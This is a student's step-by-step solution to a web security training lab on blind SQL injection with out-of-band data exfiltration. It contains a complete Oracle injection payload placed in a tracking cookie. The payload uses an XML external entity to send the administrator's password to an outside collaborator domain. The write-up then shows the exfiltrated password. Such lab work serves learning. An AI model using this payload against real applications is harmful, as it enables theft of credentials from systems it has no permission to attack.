Blind SQL injection with out-of-band data exfiltration

1. This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics and performs a SQL query containing the value of the submitted cookie.

2. The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain.

3. This lab is the same idea as the previous lab. But we need to exfiltrate the administrator password.

4. So, we will navigate to DNS lookup with data exfiltration section in cheat sheet and copy the payload for Oracle database and put our query and our burp collaborator subdomain and inject this payload in TrackingId:

   TrackingId=dBoxIdZ8PcFdvrLY' || (SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.ra5wxtnnaf9dpuog9gyisi10brhj59ty.oastify.com/"> %remote;]>'),'/l') FROM dual)--

5. When we send this request and go to collaborator tab and click on poll now we will see some requests containing the administrator password as a subdomain.

   we6rxcwvk1v0dnn362d7.ra5wxtnnaf9dpuog9gyisi10brhj59ty.oastify.com

   My burp collaborator subdomain: **ra5wxtnnaf9dpuog9gyisi10brhj59ty.oastify.com**
   The administrator password: **we6rxcwvk1v0dnn362d**

6. I logged in successfully and the lab solved.

Web Security Academy

Blind SQL injection with out-of-band data exfiltration

Back to lab description »

LAB Solved

Congratulations, you solved the lab!

Share your skills! Continue learning »

My Account

Your username is: administrator

Email

Update email